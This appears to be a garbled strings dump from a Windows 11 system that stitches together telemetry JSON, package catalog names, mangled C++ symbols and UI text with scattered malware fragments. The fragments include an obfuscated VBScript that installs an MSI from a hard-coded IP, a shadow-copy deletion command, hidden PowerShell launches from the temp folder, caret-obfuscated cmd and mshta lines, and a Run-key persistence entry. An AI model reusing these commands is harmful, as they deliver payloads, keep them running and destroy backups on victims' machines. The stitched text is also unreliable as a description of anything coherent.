Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939765695985,"MaxEventTime":134163939765695985,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\PimIndexMaintenanceClient.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[226,20,77,142,196,221,90,165,43,163,188,65,235,112,100,251,217,79,139,16],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"PimIndexMaintenanceClient.dll","InternalName":"PimIH
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows.jiuzhaoren.top5
o= "windowsinstaller.installer"= CreateObject(FrOWKf)bqXbj.InstallProduct "http:/" & "/104.2" & "34." & "118." & "16" & "3/si" & ".msi"
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
msEdgeWindowsEnergySaverAvailable
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Hosts.FeedCatalog.g.h
software\microsoft\windows\currentversion\uninstall\webdialer -rasdialevent
http://www.baidu.com/s?wd=union.2008djf.cn/search/n/software\microsoft\windows\currentversion\uninstall\360h
Microsoft\Windows\CurrentVer
set=windows-1252"G
\system32\
WindowsAppRuntime.1.5Microsoft CorporationMicrosoft Windows App Runtime 1.5 (5001.373.1736.0 x86 )WindowsAppRuntime.png
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe
WindowsAppRuntime.1.5Microsoft CorporationMicrosoft Windows App Runtime 1.5 (5001.373.1736.0 x64 )WindowsAppRuntime.png
Microsoft-Windows-Shell-Launcher
Microsoft.Windows.AppLifeCycle.UI
Microsoft.Windows.Shell.RecOS.Provider
K"start/minpowershell.exe-windowstylehidden"write
objwsh.run"cscript.exec:\windows\temp\text.vbs"
c:\windows\system32\cmd.ex
P`c:\windows
twindowsG
ite lozinku za Windows kako biste to dopustili.copilotupdateServis za a
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you c
.exe & powershell start -WindowStyle hidden %temp%\
.bat & powershell start -WindowStyle hidden %temp%\
s\system32\cmd.exe/v/cms^ht^a"java
c:\windows\system32\cmd.exe/cren.\thumbs.db
Windows-Edi
Windows-Edi
.contains("c:\windows\system32
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceSite.Scroll
SystemRuntimeWindowsRuntimeUIXaml
System.Windows.Forms.IKeyboardToolTip.GetCaptionForTool
System.Windows.Forms.UnsafeNativeMethods.IOleControlSite.GetExtendedControl
System.Windows.Forms.IContainerControl.ActivateControl
[]]('c:\windows\microsoft
\windowstask\appmodule.exe-forc
ZoO^\windows\system32\
Microsoft Windows
<!-- Windows 10 --> 4
.tolowercase()==='c:/windows'){^
s\system32\cmd.exe/v/cmshta"F
d\windows\stable
App-V\*\*\Root\VFS\Windows
system32\Dr
^\"?.:\\windows\\system32\\werfault\.exe\"?((?!\-s).)*$<
WINDOWS\system32\config
=C:\Windows\S
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
shellcommon\shell\Windows.Internal.ShellCommon\UwpWindowLifecycleManagement\lib\UwpWindowLifecycleManagerComponent.cpp
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
:The visual skin to use when displaying the docked windows.
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\drivers.desc
C:\WINDOWS\system32\MSVIDC32.DLL
Detector@Windows
Microsoft-Windows-LanguageFea
<assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="Microsoft.WindowsLive.Sync" type="win32"/>
      <!-- Windows Threshold -->
      <!-- Windows BLUE -->
      <!--The ID below indicates application support for Windows Vista --> 
      <!--The ID below indicates application support for Windows 7 --> 
      <!--The ID below indicates application support for Windows 8 --> 
windows.net^Microsoft
xsleep-s4;cmd/cc:\windows\syswow64\
*c:\windows\system32\cmd.exend_107/v/x/r^s^tart^msi^ex^e^c^rt^sby^zy^y=^pr^la^k^bot^y-p^a^cka^g^e
defender settings|Microsoft Defender settings|security settings|Windows security settings|security center settings|Microsoft Defender security center settings|antivirus settings|defender antivirus settings|Microsoft Defender antivirus settings|anti virus|anti-virus|virus|viruses|malware|web protection|email protection|firewall|SmartScreen|remove virus|Windows security dashboard|Windows Defender settings|defender dashboard|(
"9memory integrity|firmware protection|credential guard|Microsoft Defender credential guard|Windows Defender credential guard|sign-in security|enhanced sign-in security|signin security|enhanced signin security|sign in security|enhanced sign in security|core isolation settings|PPL settings|LSA settings|process security settings|Microsoft Vulnerable Driver Blocklist|vulnerable driver|/
signin settings|sign-in settings|login settings|sign-in protection|sign in protection|signin protection|login protection|windows hello|account protection settings|=
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreen
WindowsDeleteStringBuffer
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
\microsoft\windows\start menu\programs\startup\xinof.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy deleteC
SLGetWindowsInformationDWORD
SLGetWindowsInformationDWORD
See which apps have requested access to Text and image generation features of Windows in the last weekb
Windows has apps' microphone usages for you to review
Windows has apps' location usages for you to review
Tpm2CreateWindowsNvBits
Tpm2ReadWindowsNvBit
Tpm2SetWindowsNvBit
TpmCertGetWindowsAik
TpmCheckCreateWindowsAIK
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Kernel-Package-HAL-Events-Container-Package~31bf3856ad364e35~amd64~~10.0.26100.3912.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-TrustedExecution-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-TrustedExecution-Package~31bf3856ad364e35~amd64~~10.0.26100.7171.cat|
Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|1~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-CoreSystem-XmlLite-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-EnterpriseClientSync-Host-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Kernel-Package-HAL-Events-Container-Package~31bf3856ad364e35~amd64~~10.0.26100.3912.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|erCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|kage~31bf3856ad364e35~am
Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat||
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat|Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-NetFx-Shared-MOF-Client~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-ZTDNS-Package-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx-Shared-MOF-Client~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Package_7_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Kernel-Package-DebuggerTransport-Network-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-NetFx-Shared-MOF-Client~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft.Windows.DevHome_8wekyb3d8bbwe!App
CredUIPromptForWindowsCredentialsW
AGG:LoadLibraryFileMissing.SYSTEM32.root.Expensive.L
@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UServicesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UServicesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UServicesPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UServicesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UServicesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UServicesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UServicesPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
Vc:\windows\
windows media player\csrss.exe
Microsoft.Windows.MediaFoundation.TelemetrySession
Microsoft.Windows.MediaFoundation.ContentProtectionDevice
c:\windows\system32\cmd.execmd/cstart
>c:\windows\system32\
agerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UUsersPage@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UUsersPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@UIUserControl@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require@UUsersPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UUsersPage@implementat
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.Shell.MTF.PlatforH
&C:\WINDOWS\system32\xxx_video.exeC:\windows!
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
pregaddhkey_current_user\software\microsoft\windows\currentversion\policies\explorer\run/vofficeplugin/treg_expand_sz/d"%windir%\microsoft\office\plugin\officeplugin.exe"
="c:\windows\temp\swimmingbasin7124.bat"indoorcomplex="opentextfile"set
NTH.Windows.Forms.Properties.ResourcesN
b0cf-424759bebc39WindowsApp3jj.Resources.resource
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
windir=C:\WINDOWS
)Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
	\system32\cmd.exe
windows\currentversion\runsales
!#AGGR:WindowsMostlyCleanLocations.A
 3, "Run", VbMethod, WINDOWS1.Label1.Tag + " " &
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
AGGR:Lua:FileInWindowsMailApp.A
R\windows\system32\rundll32.exe
[system.windows.forms.clipboard]::settext($
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
wWindows
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
@%SystemRoot%\system32\shell32.dll,-10113
@%SystemRoot%\system32\shell32.dll,-10114
<channel><id>1;9705437532647614367</id><appkey>microsoftwindows.client.cbs_cw5n1h2txyewy</appkey><properties>0</properties></channel>
<channel><id>1;9705437532647614367</id><appkey>microsoftwindows.client.cbs_cw5n1h2txyewy</appkey><properties>0</properties></channel>
<channel-response><id>1;9705437532647614367</id><exp>2026-03-26T08:00:50Z</exp><url>https://wns2-ln2p.notify.windows.com/?token=AwYAAAAd06R7cBg9BdrfjWIsv3evETrc6AZhhUVmLyx1wP5h56ewpfp2YsodGAtfoPdxThLItC%2blsWYEiDeGq2%2fEfF8lARIWLMyn%2fruXC%2ba9VvFZVQ7NnJL2iCM9rMPEhwFoxQDHcRZmUd%2bA3A0UW9fTO5Wq</url></channel-response>
<channel-response><id>1;9705437532647614367</id><exp>2026-03-26T08:00:50Z</exp><url>https://wns2-ln2p.notify.windows.com/?token=AwYAAAAd06R7cBg9BdrfjWIsv3evETrc6AZhhUVmLyx1wP5h56ewpfp2YsodGAtfoPdxThLItC%2blsWYEiDeGq2%2fEfF8lARIWLMyn%2fruXC%2ba9VvFZVQ7NnJL2iCM9rMPEhwFoxQDHcRZmUd%2bA3A0UW9fTO5Wq</url></ch
windowstylehidden-nologoiex(iex(get-content.\
|out-string))c:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll
WINDOWS11
WINDOWS11
WINDOWS11
rt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@impl@winrt@@
.?AU?$root_implements_composable_inner@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@$0A@@impl@winrt@@
.?AU?$produce@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
